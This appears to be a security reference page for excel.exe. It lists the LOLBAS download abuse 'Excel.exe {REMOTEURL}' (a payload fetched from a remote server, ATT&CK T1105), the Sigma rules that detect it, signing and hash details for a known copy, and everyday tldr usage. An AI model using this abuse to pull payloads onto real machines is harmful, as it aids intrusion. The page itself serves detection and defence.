Identifier / Programs / Windows

excel.exe

Microsoft Office's spreadsheet application. tldr-pages

LOLBAS Download 4 Sigma rules name it 1 ATT&CK technique 1 documented command 1 known copy with hashes

How excel.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for excel.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server

Excel.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: highPotential Arbitrary File Download Using Office Application by Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for excel.exe, by Reegun J (OCBC Bank), at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for excel.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highPotential Arbitrary File Download Using Office ApplicationNasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community

highPotentially Suspicious Office Document Executed From Trusted LocationNasreddine Bencherchali (Nextron Systems)

highRenamed Office Binary ExecutionNasreddine Bencherchali (Nextron Systems)

mediumSuspicious New Instance Of An Office COM ObjectNasreddine Bencherchali (Nextron Systems)

T1105Ingress Tool Transfer

Is it the real excel.exe?

file version info and known copies

Installed inC:\Program Files (x86)\Microsoft Office\root\Office16\

Signed byMicrosoft Corporation

ProductMicrosoft Office, Microsoft Corporation

DescriptionMicrosoft Excel

1 known copy

16.0.12527.20482 · C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE · signed by Microsoft Corporation

00d8fcdb9e2b315bfff3d16ffb2f50ed55a64a84bf2f0e1127bd476add58705f

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Launch the spreadsheet application (omitting the file path will launch the File page)

excel path\to\file.xlsxIdentify

Create a new workbook with a macro-enabled sheet

excel /mIdentify

Open a workbook as a template

excel [/n path\to\file.xlsxIdentify

None of the 3 examples the identifier reads matches LOLBAS abuse or trips a Sigma process-creation rule.